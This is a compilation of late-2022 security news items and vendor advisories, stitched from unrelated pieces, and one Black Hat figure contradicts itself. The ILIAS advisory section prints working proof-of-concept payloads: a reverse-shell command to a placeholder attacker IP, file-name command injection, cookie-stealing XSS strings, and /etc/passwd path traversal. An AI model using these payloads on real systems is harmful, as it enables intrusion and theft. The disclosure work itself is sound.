Certifi is a curated collection of Root Certificates for validating the trustworthiness of SSL certificates while verifying the identity of TLS hosts. Certifi 2022.12.07 removes root certificates from "TrustCor" from the root store. These are in the process of being removed from Mozilla's trust store. TrustCor's root certificates are being removed pursuant to an investigation prompted by media reporting that TrustCor's ownership also operated a business that produced spyware. Conclusions of Mozilla's investigation can be found in the linked google group discussion.

CVE-2022-23491: concerns about Trustcor

The company will also soon support the use of physical authentication keys with Apple ID, and is adding contact verification for iMessage in 2023.

Apple announced today that it is launching expanded end-to-end encryption protections in its iCloud service. The company already offers the vital security feature for some data in its cloud platform—including passwords, credit card and other payment data, and health data—but it will offer an option to extend the protection to other sensitive information including photos, notes, and, crucially, iCloud backups. The feature, known as Advanced Data Protection for iCloud, debuts today for users enrolled in Apple’s Beta Software Program. It will be available to all United States users by the end of the year and will start rolling out globally in early 2023.

The move comes as part of a broader slate of security-related announcements from the company. Beginning early next year, Apple will support the use of hardware keys for Apple ID two-factor authentication. And later in the year, the company will also roll out a feature called iMessage Contact Key Verification that will allow users to confirm they are communicating with the person they intend and warn them if an entity has compromised the iMessage infrastructure.

Apple said today that the new releases come “as threats to user data become increasingly sophisticated and complex.” There were 1.8 billion Apple devices in active use around the world as of a January earnings call. An Apple representative told WIRED that threats to data stored in the cloud are visibly on the rise across the industry, and that in general, it is clear that data stored in the cloud is at greater risk of compromise than data stored locally. A study commissioned by Apple found that 1.1 billion records were exposed in data breaches around the world in 2021. Earlier this year, Apple announced a feature for iOS and macOS known as Lockdown Mode, which provides more intensive security protections for users facing aggressive, targeted digital attacks. The step was a departure for Apple, which had formerly taken the approach that its security protections should be strong enough to defend all users without special add-ons. 

End-to-End Encrypted iCloud Backups—With Exceptions

When it comes to end-to-end encryption, Apple was early to deploy the protection with the launch of iMessage in 2011. Meanwhile, tech giants like Meta and Google are still working to retrofit some of their popular messaging platforms to support the feature. End-to-end encryption locks down your data so only you and any other owners (like other participants in a group chat) can access it regardless of where it is stored. The protection isn’t in use everywhere across the Apple ecosystem, though, and a particularly glaring omission has been iCloud backups. Since these backups weren’t end-to-end encrypted, Apple could access the data—essentially a complete copy of everything on your device—and share it with other entities, like law enforcement. 

Apple added specific workarounds, like one known as Messages in iCloud, to protect end-to-end encrypted data, but it was easy for users to make mistakes or misunderstand the options and end up exposing data they didn’t intend in iCloud backups. Users who wanted to avoid these potential pitfalls have relied on Apple’s local backup options for years. The company told WIRED that it plans to continue to support local backups for iOS and macOS and believes firmly in the concept, but it hopes that expanded end-to-end encryption in iCloud will reassure users who have been waiting to make the move.

Expanded end-to-end encryption would protect a user’s data even if Apple itself were breached. An Apple representative told WIRED that the company is not aware of any situations in which a user’s iCloud data has ever been stolen because of a breach of iCloud’s servers. He added, though, that Apple’s infrastructure is constantly under attack, as is the case for all major cloud companies.

Advanced Data Protection for iCloud is an optional feature that users can elect to enable. When you turn it on, the feature will guide you through a process to set up a recovery contact or recovery key so you can access your iCloud data if you lose the devices the keys are stored on. The change could make using iCloud slightly less seamless in certain scenarios, but it is similar conceptually to the familiar process of backing up your device on an external hard drive. If you lose or break the hard drive or forget the password you protected it with, you can’t access the backups that are on it.

Apple notes that three important categories of data—contacts, emails, and calendar data—will still not be end-to-end encrypted, even with Advanced Data Protection for iCloud turned on. The company says that all three are difficult to lock down because they involve legacy protocols and must be in a format that allows them to interoperate with a host of third-party applications. In short, Apple doesn’t want to break your ability to use your favorite email client or calendar app. The three categories represent a body of extremely sensitive user data, though. When asked whether they will ever be end-to-end encrypted in iCloud, an Apple representative said there were no other announcements at this time, but that the company is always working to move forward.

Physical Keys Give Apple ID a Security Boost

Apple will soon support the use of physical authentication keys with Apple ID, providing a more secure two-factor authentication.

Photograph: Apple

The new Apple ID support for physical authentication keys is another feature long-sought by users. Apple now requires two-factor authentication for all new Apple IDs and says that 95 percent of its users have the login protection enabled. Hardware tokens are particularly protective, though, because users can’t be tricked into providing them to attackers, unlike two-factor authentication codes that can be accidentally shared or otherwise compromised. Apple is a member of the FIDO Alliance, which develops authentication standards, and the company says it will support any hardware keys that are certified by FIDO. 

An Apple representative told WIRED that the company has been working to implement hardware keys for some time, but that it was concerned about implementation and ease of use until the recent generation of FIDO standards. The representative also said that the company was motivated by evolving and escalating threats as well as a recent uptick in the availability of the keys. The popular hardware token maker YubiKey, for example, didn’t have Apple's approval to make hardware keys with Lightning adapters for iOS devices until 2019.

iMessage Takes a Page From Signal

The new iMessage Contact Key Verification feature will enable users to confirm they’re texting with the person they think they are.

Photograph: Apple

The new iMessage Contact Key Verification feature, which will also be an optional protection that users can choose to enable, offers a mechanism for users to check that the person they are communicating with is the intended recipient. Similar to a feature offered by the secure messaging app Signal, iMessage Contact Key Verification provides users with a Contact Verification Code that they can compare with their digital companion through another channel—either in person or through another communication platform they trust. In other words, if you want to make sure you’re really messaging with your cousin, you can call her and ask her to produce the contact verification code for your chat. If the codes match, you’re good. If they don’t match, it could mean you’re messaging with someone who is impersonating your cousin. 

The feature also includes a mechanism to automatically alert users if the iMessage infrastructure is ever compromised to target individual communications by a third party outside of Apple. Such an attack, in which a hacker could silently join end-to-end encrypted chats as an invisible lurker, would be very sophisticated and costly to pull off, but would be immensely valuable to a malign actor. The new warning feature could make such a compromise somewhat less attractive, though, since it will reduce the chance that attackers would be able to lurk and eavesdrop unnoticed.

Taken together, the features represent critical steps forward in Apple’s user security docket, but as with any punch list, many of the items were overdue for completion.

Apple Expands End-to-End Encryption to iCloud Backups

Empower buyers and stop fixating about zero-days, conference attendees told

Empower buyers and stop fixating about zero-days, conference attendees told

  

Steps towards building a defendable internet are possible, but to get there the industry needs to accept baseline security regulations and move away from a fixation about zero-day vulnerabilities.

Opening the Black Hat Europe conference on Tuesday, security researcher Daniel Cuthbert praised security improvements gained with the wider adoption of cloud computing, improvements in iOS, and tighter web security controls in Google Chrome, among other developments.

One problem, however, is that these improvements are not feeding down to provide improvements in security practices more generally.

Read more of the latest news about Black Hat conference

Cuthbert posed the question: “Does good security mean a lock-in approach or are we actually capable of building an open, transparent, and yet secure internet for all to enjoy?”

According to Cuthbert, the industry is too fixated on zero-days, despite most cyber-attacks still proving successful using run-of-the-mill techniques such as phishing.

“During Covid we saw a lot of people tear apart products to look for bugs,” Cuthbert said. “A lot of criminals did too.”

There were 32 zero-days recorded in 2019, according to figures cited by Cuthbert. This figure dropped to 30 in 2021 before rising to 70 in 2021.

“Lots of zero-days arise because vendors failed to fix bugs,” according to Cuthbert.

Because zero-day exploits can be a weapon in the hands of cybercriminals or spies, researchers need to be more responsible and release detection methods alongside proof-of-concept exploits when they release research, according to Cuthbert.

**Knee jerk reactions need to stop**

Cuthbert criticized the industry for falling into a cycle of offering tools to overcome the shortcomings of earlier security products rather than attempting to identify and address the root cause of problems.

For example, the shortcomings of first-generation firewalls were addressed with the development of web application firewalls – a class of product that has itself been a source of security problems.

Cuthbert said: “Can we stop the cycle of building tools to fix the tools that aren’t secure enough?”

The researcher also criticized the industry from blaming end users – such as, as he put it, ‘Dave from accounts’ – for falling victim to phishing attacks.

Buyers currently have no meaningful influence on the security of products, a trend that needs to change.

Vendors should also be asked hard questions about threat modeling, supply chain security, and should be pushed to use memory safe languages during the procurement process.

YOU MAY ALSO LIKE Cybersecurity conferences 2022: A rundown of online, in person, and ‘hybrid’ events

Black Hat Europe 2022: A defendable internet is possible, but only with industry makeover

tdpServer of TP-Link RE300 V1 improperly processes its input, which may allow an attacker to cause a denial-of-service (DoS) condition of the product's OneMesh function.

**Setup Video**

*   **How to Setup OneMesh Service using a Web Browser**
    
    This video will show you the process for using the web browser of your computer to setup TP-Link's OneMesh service.
    
    More Fold
    
*   **RE300 Installation Guide through WPS Button**
*   **RE300 Installation Guide through Tether APP**
*   **RE300 Installation Guide through Web UI**
*   **How to setup a TP-Link Range Extender via WPS**
*   **How to set up a TP-Link Range Extender(No music)**
*   **How to set up a TP-Link Range Extender**

**Firmware**

A firmware update can resolve issues that the previous firmware version may have and improve its current performance.

**To Upgrade**

**IMPORTANT:** To prevent upgrade failures, please read the following before proceeding with the upgrade process

*   **Please upgrade firmware from the local TP-Link official website of the purchase location for your TP-Link device, otherwise it will be against the warranty. Please click here to change site if necessary.**
*   Please verify the hardware version of your device for the firmware version. Wrong firmware upgrade may damage your device and void the warranty. (**Normally Vx.0=Vx.6/Vx.8 (eg:V1.0=V1.6/V1.8);   Vx.x0=Vx.x6/Vx.x8 (eg:V1.20=V1.26/V1.28)**  
    How to find the hardware version on a TP-Link device
*   **Do NOT turn off the power during the upgrade process, as it may cause permanent damage to the product.**
*   To avoid wireless disconnect issue during firmware upgrade process, it's recommended to upload firmware with wired connection unless there is no LAN/Ethernet port on your TP-Link device.
*   It's recommended that users stop all Internet applications on the computer, or simply disconnect Internet line from the device before the upgrade.
*   Use decompression software such as WinZIP or WinRAR to extract the file you download before the upgrade.

More Fold

RE300\_V1\_221009

Download

Published Date: 2022-10-10

Language: English

File Size: 7.92 MB

Enhanced system stability.

RE300(EU)\_V1\_211126

Download

Published Date: 2021-12-13

Language: English

File Size: 8.03 MB

Note:

Enhanced system stability;

Optimized Wi-Fi compatibility;

Enhanced Wi-Fi performance;

Optimized the OneMesh stability;

Fixed a few UI related bugs;

Fixed the RE's security vulnerabilities;

RE300(EU)\_V1\_210129

Download

Published Date: 2021-03-25

Language: Multi-language

File Size: 8.09 MB

Release Note:  
1\. Performance improvements (onemesh and WPS)  
2\. Improve the stability of the device in DFS channel

**To Use Third Party Firmware In TP-Link Products**

Some official firmware of TP-Link products can be replaced by the third party firmware such as DD-WRT. TP-Link is not obligated to provide any maintenance or support for it, and does not guarantee the performance and stability of third party firmware. Damage to the product as a result of using third party firmware will void the product's warranty.

**Open Source Code For Programmers (GPL)**

Please note: The products of TP-Link partly contain software code developed by third parties, including software code subject to the GNU General Public Licence (“GPL“), Version 1/Version 2/Version 3 or GNU Lesser General Public License ("LGPL"). You may use the respective software condition to following the GPL licence terms.

You can review, print and download the respective GPL licence terms here. You receive the GPL source codes of the respective software used in TP-Link products for direct download and further information, including a list of TP-Link software that contain GPL software code under GPL Code Center.

The respective programs are distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the respective GNU General Public License for more details.

**Apps**

TP-Link Tether

TP-Link Tether provides the easiest way to access and manage your network with your iOS or Android devices. Learn more about TP-Link Tether and Compatible Devices

*   
*   

Note: To use Tether, please update your TP-Link device’s firmware to the latest version.

**Emulators**

Firmware Version

Working Mode

Language

181212(EU)

\-

Multi-language

Browse

**Note:**

1\.  The emulator is a virtual web GUI where you can experience the TP-Link product management panel.

2\. The listed emulators might not have the latest firmware.

3\.  The features displayed are for reference, and their availability may depend on local regulations. For more information, please refer to the datasheet or product page.

CVE-2022-41783: Download for  RE300 | TP-Link

ILIAS before 7.16 allows External Control of File Name or Path.

ILIAS is a common eLearning platform, published under an open source license. Version 7.14 is vulnerable to multiple critical vulnerabilities, ranging from XSS over LFI to command injection.

**Vendor description**

_"Around since 1998, ILIAS is a powerful learning management system that fulfills all your requirements. Using its integrated tools, small and large businesses, universities, schools and public authorities are able to create tailored, individual learning scenarios."_

Source: https://www.ilias.de/en/

**  
Business recommendation**

The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.

**Vulnerability overview/description****1) Authenticated Direct OS Command Injection - CVE-2022-45915**

ILIAS utilizes several third-party programs to perform tasks like creating PDF files or scanning uploaded files for known viruses. These are called using the PHP exec() function. In several instances, the arguments passed to the exec() function contain user input that is not properly sanitized.

By performing malicious configuration steps or uploading dangerous files, an attacker can execute arbitrary system commands with the rights of the web server user (www-data). The privilege required for the different instances of command injection range from low rights to admin rights.

**2) Stored Cross-Site Scripting - CVE-2022-45916**

Multiple stored cross-site scripting vulnerabilities were identified in ILIAS course items. These were either achieved by bypassing existing XSS filters or simply by exploiting missing input validation altogether. This results in the execution of attacker-controlled JavaScript code by the user's browser.

The attacker requires the right to create course items, e.g., as a tutor of a course.

**  
3) Local File Inclusion - CVE-2022-45918**

The included SCORM editor features a debugger that gives authors insights into the current SCORM player session, as well as previous sessions. When accessing the logs of previous sessions, the debugger fails to validate the requested file path, allowing for arbitrary filesystem access.

**  
4) Open Redirect - CVE-2022-45917**

The function shib\_logout.php redirects the user to a URL specified in the "return" parameter. Since this parameter is not validated, an attacker can use it to redirect a victim to an arbitrary website. This is a powerful tool in phishing campaigns, as it allows hiding the malicious webpage behind a link that looks like it would take you to the real ILIAS webpage.

**Proof of concept****1) Authenticated Direct OS Command Injection - CVE-2022-45915**

Multiple instances of command injection vulnerabilities were identified:

****a) ZIP archive upload****

Normal users with open assessments can submit their solution by uploading a ZIP archive. These archives are extracted on the server and scanned for viruses recursively. The directory and file names can be used by an attacker to inject system commands, e.g., by including a directory with the name $(touch /tmp/pwned) to the ZIP archive. Exploiting this vulnerability, an attacker is able to get a reverse shell on the ILIAS webserver with the rights of the web server user (www-data).

****b) Media object creation****

ILIAS can be configured so that users can create media objects based on files inside an "Upload Directory". Before these objects are created, the files are scanned for viruses. The file names can be used by an attacker to inject system commands. By placing a file with a name like $(touch /tmp/pwned) inside the upload directory and then creating a media object based on it, an attacker is able to execute arbitrary system commands with the rights of www-data on the server.

****c) PDF document creation****

ILIAS provides users the functionality to export content as PDF files. A user with admin rights can configure the path to the preferred PDF renderer. An attacker can use this parameter to inject system commands. Due to missing input validation it is possible to inject multiple commands. The path to wkhtmltopdf has to be included in the payload, as ILIAS checks for it. By changing the path to:

    /usr/local/bin/wkhtmltopdf; bash -c "bash -i >& /dev/tcp/<IP_Address_Attacker>/13373 0>&1";

an attacker can open a reverse shell with the rights of www-data that connects to the attacker's machine on port 13373. The reverse shell is initiated when the export function is triggered. No PDF renderer has to be installed for this vulnerability to be exploitable.

**2) Stored Cross-Site Scripting - CVE-2022-45916**

Multiple instances of stored cross-site scripting were identified:

****a) Several Stored XSS Attacks in Tests****

An attacker must be able to create new tests in which the JavaScript code will be embedded. If a victim then later accesses one of those tests, the XSS payload will be triggered. The "Question" input field of a test has a filter in place, which correctly removes HTML tags such as <script> or <img src="x" onerror="alert(document.cookie)">. By making use of half open HTML tags, this filter can be successfully bypassed. E.g.

    <img src="x" onerror="alert(document.cookie)"

This half open HTML tag can also be used in the "Introductory Message" of a test to trigger an XSS. It's important to end the JavaScript code with a quotation mark or space, to properly separate it from successive HTML tags, after it's embedded into a test. Finally, the "Question" input field of the question type "Long Menu" was identified to use no filtering at all, resulting in the unrestricted use of arbitrary HTML tags such as <script>.

**  
**b) Stored XSS in title of course items****

An attacker with rights to create an arbitrary course item can conduct a stored XSS attack by setting the title of the element to:

    " onclick="alert(document.cookie)"

When a user clicks on the button to the right of the title, the XSS payload is triggered.

****c) Stored XSS in HTML sites****

An attacker with rights to edit an HTML Learning Module can conduct a stored XSS attack, as it is allowed to insert JavaScript Code to the HTML page. Even if this behavior is intended, it is insecure and considered bad practice.

**  
**3) Local File Inclusion - CVE-2022-45918****

As a prerequisite, the SCORM debugger must be enabled for the whole ILIAS platform. An attacker with access to a SCORM player can open the SCORM debugger and request the logs of a previous session. By changing the value of the "logFile" query parameter of the request, they can read arbitrary files of the server's filesystem. For example, to read the passwd file on Linux systems, an attacker can change the value of the parameter logfile to

    "../../../../../../../../../etc/passwd"

****4) Open Redirect - CVE-2022-45917****

The shib\_logout function is vulnerable to an open redirect. A URL that successfully uses this vulnerability to redirect to "https://www.sec-consult.com" is:

    http:// ILIAS-URL/shib_logout.php?action=logout&return=https://www.sec-consult.com

**Vulnerable / tested versions**

The vulnerabilities were identified in ILIAS version 7.14.

However, a brief analysis of the source code suggests, that several vulnerabilities are present in versions dating back to at least 3.8.4. Hence it is assumed that most current versions of the product are affected. The vulnerabilities were partly fixed in version 7.15, a complete patch is available with version 7.16.

**Vendor contact timeline**

CVE-2022-45918: Multiple critical vulnerabilities in ILIAS eLearning platform

An authentication bypass by assumed-immutable data vulnerability [CWE-302] in the FortiOS SSH login component 7.2.0, 7.0.0 through 7.0.7, 6.4.0 through 6.4.9, 6.2 all versions, 6.0 all versions and FortiProxy SSH login component 7.0.0 through 7.0.5, 2.0.0 through 2.0.10, 1.2.0 all versions may allow a remote and unauthenticated attacker to login into the device via sending specially crafted Access-Challenge response from the Radius server.

** PSIRT Advisories**

**FortiOS & FortiProxy - SSH authentication bypass when RADIUS authentication is used**

**Summary**

An authentication bypass by assumed-immutable data vulnerability \[CWE-302\] in the FortiOS SSH login component may allow a remote and unauthenticated attacker to login into the device via sending specially crafted Access-Challenge response from the Radius server. 

**Affected Products**

FortiOS version 7.2.0  
FortiOS version 7.0.0 through 7.0.7  
FortiOS version 6.4.0 through 6.4.9  
FortiOS version 6.2 all versions  
FortiOS version 6.0 all versions  
FortiProxy version 7.0.0 through 7.0.5  
FortiProxy version 2.0.0 through 2.0.10  
FortiProxy version 1.2.0 all versions

**Solutions**

Please upgrade to FortiOS version 7.2.2 or above  
Please upgrade to FortiOS version 7.0.8 or above  
Please upgrade to FortiOS version 6.4.10 or above  
Please upgrade to FortiProxy version 7.0.7 or above  
Please upgrade to FortiProxy version 2.0.11 or above

**Acknowledgement**

Fortinet is pleased to thank Egbert Nijmeijer from ICT Teamwork for reporting this vulnerability under responsible disclosure.

CVE-2022-35843: Fortiguard

A improper neutralization of input during web page generation ('cross-site scripting') in Fortinet FortiOS 6.0.7 - 6.0.15, 6.2.2 - 6.2.12, 6.4.0 - 6.4.9 and 7.0.0 - 7.0.3 allows a privileged attacker to execute unauthorized code or commands via storing malicious payloads in replacement messages.

** PSIRT Advisories**

**FortiOS - Stored cross-site scripting in replacement messages visualization**

**Summary**

A improper neutralization of input during web page generation ('cross-site scripting') \[CWE-79\] in FortiOS may allow a privileged attacker to perform a stored XSS attack via storing malicious payloads in replacement messages.

**Affected Products**

FortiOS version 7.0.0 through 7.0.3  
FortiOS version 6.4.0 through 6.4.9  
FortiOS version 6.2.2 through 6.2.12  
FortiOS version 6.0.7 through 6.0.15

**Solutions**

Please upgrade to FortiOS version 7.2.2  
Please upgrade to FortiOS version 7.0.7  
Please upgrade to FortiOS version 6.4.10 or above

**Acknowledgement**

Fortinet is pleased to thank Thanh Nguyen, Artem and Wei Cong of FortiGuard Labs and Massimiliano Ferraresi, Massimiliano Brolli and TIM Security Red Team Research from TIM for reporting this vulnerability under responsible disclosure.

CVE-2022-40680: Fortiguard

Extending multifactor authentication to include device identity assurance offers more authentication confidence than what multiple user-identity factors can by themselves.

For many years, multifactor authentication (MFA) has been key to mitigating password risk. But as MFA use has increased, cybercriminals have adapted their credential theft tactics.

In January 2022, the Office of the Management and Budget (OMB) issued a memo recommending that federal agencies move to passwordless MFA. And while this memo is only directed toward federal agencies, the US government is raising the cybersecurity baseline. It’s up to private-sector organizations to take notice.

One strategy that has emerged is zero trust. At least 76% of organizations have started implementing their zero-trust strategies, with MFA taking a prominent role. The National Institute of Standards and Technology recommends extending your MFA strategy to include assurance of device identity. This leads to more authentication confidence than what multiple user identity factors alone can provide.

Keep reading to learn how you can harden identity policies by extending your MFA strategy and leveraging existing security options.

**Understanding MFA Limitations**

Traditionally, strong passwords were the go-to strategy for reducing brute-force attacks. But most people can’t remember all of their complex passwords, so they end up recycling them across multiple accounts. The average person reuses their password 14 times, and they often use the same password across both personal and organizational accounts. This creates a blind spot in which organizational accounts can be compromised by phishing attacks on personal accounts — something that is completely outside of organizational email protection capabilities.

We’ve also seen an increase in man-in-the-middle (MiTM) phishing, SMS hijacking, and email hijacking attacks. MiTM phishing happens when adversaries exploit second factors with out-of-band authentication paths, such as app notification, email, or SMS. The user initiates a password authentication request that is intercepted by the adversary, who then creates a separate authentication request and accompanying out-of-band second factor prompt. Users often approve these prompts since they’re indistinguishable from their own.

In an SMS hijacking attack, the adversary redirects the SMS notification destination to their own device. This allows them to initiate an authentication request that can be approved without the knowledge of the user. Similarly, adversaries can use a compromised email mailbox to approve email-based second factors. Since email is also often used as a path for recovery of credentials to non-SSO services, a compromised mailbox can also lead to the compromise of a long chain of dependent services through third-party password resets.

Another possible blind spot is with phishing attacks that use illicit consent grants, as these can be harder to detect than traditional phishing attacks. In an illicit consent grant attack, the adversary tricks end users into granting a malicious application consent to access their data on their behalf, usually via an email with a link. This is challenging because the link destination itself is not malicious, only the application. After the malicious application has been granted consent, it uses application-level access to data without requiring the user’s credential.

Unfortunately, typical mitigation steps, such as requiring MFA or resetting passwords for breached user accounts, are not effective against these types of attacks. Because the attacks take place downstream of authentication using third-party applications external to the organization, adversaries can create their own external persistent access paths. So how do organizations address this challenge?

**Implementing Phish-Resistant Authentication**

Having stronger means of authentication and more modern options doesn’t mean organizations can roll them out overnight. In most cases, it makes sense to ensure MFA is used everywhere. For example, organizations can layer in conditional access policies requiring users to limit their activities to organizational devices, helping to mitigate external phishing scenarios.

Phish resistance is an important goal that should be combined with additional objectives to maximize authentication strength. We recommend organizations go passwordless by removing the user's password as a factor. Provide authentication options with broad applicability covering desktop and mobile scenarios, and assess device identity and health status prior to authorization.

Zero-trust principles should also be used to define an implementation road map that addresses all points in the authentication chain with a layered defense. Take steps to harden the authentication infrastructure itself, apply identity protection to users, identify and monitor applications for illicit grants, and identify devices explicitly during authentication while continually monitoring them after authorization as they use access tokens. In doing so, organizations can better create modern, phish-resistant authentication strategies.

Hardening Identities With Phish-Resistant MFA

Organizations can best defend themselves on the cyber battlefield by adopting a military-style defense.

Data leaks, breaches, and cyberattacks are becoming the norm, spawning discussions on how organizations can effectively defend themselves against an ever-evolving threat landscape. With the modern battlefield extending to cyberspace and adversaries adopting military-style tactics, today's defenders see analogies from the military sector as increasingly relevant.

**An Introduction to the OODA Loop**

The OODA loop was introduced by US military strategist and Air Force Col. John Boyd in the mid–20th century. The idea is to create a framework where decisions could be made quickly, using the latest contextual information, helping defenders outpace and out-innovate their opponents.

The loop consists of four phases: Observe, Orient, Decide, and Act. It refers to an iterative decision-making process through which entities observe evolving information, contextualize it, decide on next steps, implement an action plan, and adapt a strategy based on observations and results obtained.

**How Can the OODA Loop Benefit Cybersecurity Teams?**

While the OODA loop was originally developed as a strategy for fighter pilots to use in dogfights (a rapidly evolving environment where stakes are extremely high), a number of litigation, law enforcement, and military organizations have been using OODA successfully for years.

With technology undergoing a massive transformation over the past decade, it's become nearly impossible to monitor and track such a vast ecosystem of infrastructure, users, and applications. All in all, the stakes couldn't be higher for security teams, and since cybersecurity operations have a lot to learn from a real battlefield, the OODA loop is now witnessing an increased amount of attention from the security industry.

The OODA model is applicable to both defenders and incident responders. From a defender's perspective, OODA can be used by security teams for day-to-day operations such as monitoring security events, assessing potential risks, and conducting threat-hunting exercises. From an incident responder's perspective, OODA can help identify, investigate, and respond to potential security issues in a way that recovery can be expedited and damages can be minimized.

**How Can Cybersecurity Teams Leverage the OODA Model Effectively?**

The OODA loop alone doesn't lead to effective cybersecurity. For the model to truly be successful, organizations must ideally be able to "observe" all activity across infrastructure, users, and applications, "orient" themselves with the right contextual information so they can make the right security decisions, and finally, have a "just-in-time" cybersecurity system that can help implement controls in real-time and across the entire ecosystem.

If your organization is looking to implement the OODA model effectively, it must consider deploying a single-pass cloud engine, a converged software stack based on SD-WAN that secures all traffic based on identities — including routing, decryption, deep-packet inspection, and security policy enforcement decisions — known to be native to secure access service edge (SASE). Here are three reasons why:

**1\. End-to-End Visibility Is Key to Observation and Orientation**

Gaining insight into what's happening on the entire attack surface requires a holistic security system that provides end-to-end visibility of all network and security activity. Standard security and threat intelligence services today are siloed and do not communicate well with each other. Security teams therefore lack the right data to implement sound security decisions. On the other hand, as part of the SASE architecture, the single-pass engine ingests all network flows, including Web and cloud traffic, devices, users, applications, systems, and even the Internet of Things (IoT). Since all information flows through a single system, security teams can "observe" end-to-end flows, "orient" themselves with the right context (such as identity, device, network, application, or data), and "decide" on actionable next steps.

**2\. Rapid Decision-Making Requires Just-in-Time Situational Awareness**

When organizations encounter security incidents, time is of the essence. But for dynamic and effective security decisions, security teams require just-in-time situational awareness on infrastructure activity, user behavior, and data movement, etc., as well as contextual information like applications, user identities, locations, and time. Such information is needed to reduce the time taken from observation to action and is critical in incident response scenarios. Not to mention, legacy security tools are fragmented and usually don't provide the full picture needed in rapid OODA looping and crisis situations. With single-pass processing, all services are delivered within the architecture and therefore, security teams benefit from contextual single-pane-of-glass information, which helps them "act" (the last stage of the loop) and respond to a crisis more efficiently and minimize potential damages.

**3\. Real-Time Actions Need a Comprehensive and Ubiquitous Security Backbone**

Attack vectors and threat surfaces evolve so rapidly that security teams must evolve and adapt their defenses according to the observations they make across the industry or their own environment. Cyberattacks, breaches, and vulnerabilities come unannounced at any point in time, which is why security teams need a robust infrastructure that enables them to have seamless control over the entire IT environment at any sudden moment. With SASE, because networking and security management are combined in one place and can be applied to any user or application from anywhere, it's easier to manage security controls and apply patches to applications or devices that do not have an official patch yet (using virtual patches).

It's probably safe to say that the more cybersecurity professionals practice OODA in their everyday decision-making, the more proficient they will become and the faster they will operate. That said, one of the fundamental pillars of the OODA Loop is having an end-to-end security system that provides the right security data, in the right context, at the right time, and with the right levels of controls. This is where SASE and its single-pass cloud engine comes into play in securing the infrastructures of the future.

Applying the OODA Loop to Cybersecurity and Secure Access Service Edge

Threat actors can weaponize code within AI technology to gain initial network access, move laterally, deploy malware, steal data, or even poison an organization's supply chain.

Threat actors can hijack machine learning (ML) models that power artificial intelligence (AI) to deploy malware and move laterally across enterprise networks, researchers have found. These models, which often are publicly available, serve as a new launchpad for a range of attacks that also can poison an organization's supply chain — and enterprises need to prepare.

Researchers from HiddenLayer's SAI Team have developed a proof-of-concept (POC) attack that demonstrates how a threat actor can use ML models — the decision-making system at the core of almost every modern AI-powered solution — to infiltrate enterprise networks, they revealed in a blog post published Dec. 6. The research is attributed to HiddenLayer's Tom Bonner, senior director of adversarial threat research; Marta Janus, principal adversarial threat researcher; and Eoin Wickens, senior adversarial threat researcher.

A recent report from CompTIA found that more than 86% of CEOs surveyed said their respective companies were using ML as a mainstream technology in 2021. Indeed, solutions as broad and varied as self-driving cars, robots, medical equipment, missile-guidance systems, chatbots, digital assistants, facial-recognition systems, and online recommendation systems rely on ML to function.  
Because of the complexity of deploying these models and the limited IT resources of most companies, organizations often use open source model-sharing repositories in their deployment of ML models, which is where the problem lies, the researchers said.  

"Such repositories often lack comprehensive security controls, which ultimately passes the risk on to the end user — and attackers are counting on it," they wrote in the post.

Anyone that uses pretrained machine learning models obtained from untrusted sources or public model repositories is potentially at risk from the type of attack researchers demonstrated, Marta Janus, principal adversarial ML researcher at HiddenLayer, tells Dark Reading. 

"Moreover, companies and individuals that rely on trusted third-party models can also be exposed to supply chain attacks, in which the supplied model has been hijacked," she says.

**An Advanced Attack Vector**

Researchers demonstrated how such an attack would work in a POC focused on the PyTorch open source framework, showing also how it could be broadened to target other popular ML libraries, such as TensorFlow, scikit-learn, and Keras. 

Specifically, researchers embedded a ransomware executable into the model's weights and biases using a technique akin to steganography; that is, they replaced the least significant bits of each float in one of the model's neural layers, Janus says.

Next, to decode the binary and execute it, the team used a flaw in PyTorch/pickle serialization format that allows for the loading of arbitrary Python modules and execute methods. They did this by injecting a a small Python script at the beginning of one of the model's files, preceded by an instruction for executing the scrip, Janus says.

"The script itself rebuilds the payload from the tensor and injects it into memory, without dropping it to the disk," she says. "The hijacked model is still functional and its accuracy is not visibly affected by any of these modifications."

The resulting weaponized model evades current detection from antivirus and endpoint detection and response (EDR) solutions while suffering only a very insignificant loss in efficacy, the researchers said. Indeed, the current, most popular anti-malware solutions provide little or no support in scanning for ML-based threats, they said.

In the demo, researchers deployed a 64-bit sample of the Quantum ransomware on a Windows 10 system, but noted that any bespoke payload can be distributed in this way and tailored to target different operating systems, such as Windows, Linux, and Mac, as well as other architectures, such as x86/64.

**The Risk for the Enterprise**

For an attacker to take advantage of ML models to target organizations, they first must obtain a copy of the model they want to hijack, which, in the case of publicly available models, is as simple as downloading it from a website or extracting it from an application using it. 

"In one of the possible scenarios, an attacker could gain access to a public model repository (such as Hugging Face or TensorFlow Hub) and replace a legitimate benign model with its Trojanized version that will execute the embedded ransomware," Janus explains. "For as long as the breach remains undetected, everyone who downloads the trojanized model and loads it on a local machine will get ransomed."

An attacker could also use this method to conduct a supply chain attack by hijacking a service provider’s supply chain to distribute a Trojanized model to all service subscribers, she adds. "The hijacked model could provide a foothold for further lateral movement and enable the adversaries to exfiltrate sensitive data or deploy further malware," Janus says.

The business implications for an enterprise vary, but can be severe, the researchers said. They range from initial compromise of a network and subsequent lateral movement to deployment of ransomware, spyware, or other types of malware. Attackers can steal data and intellectual property, launch denial-of-service attacks, or even, as mentioned, compromise an entire supply chain.

**Mitigations and Recommendations**

The research is a warning for any organization using pretrained ML models downloaded from the Internet or provided by a third party to treat them "just like any untrusted software," Janus says. 

Such models should be scanned for malicious code — although currently there are few products that offer this feature — as well as undergo thorough evaluation in a secure environment before being executed on a physical machine or put into production, she tells us.

Moreover, anyone who produces machine learning models should use secure storage formats — for example, formats that don’t allow for code execution — and cryptographically sign all their models so they cannot be tampered with without breaking the signature. 

"Cryptographic signing can assure model integrity in the same way as it does for software," Janus says.

Overall, the researchers said undertaking a security posture of understanding risk, addressing blind spots, and identifying areas of improvement in terms of any ML models deployed in an enterprise also can help mitigate an attack from this vector.

Tag

#ios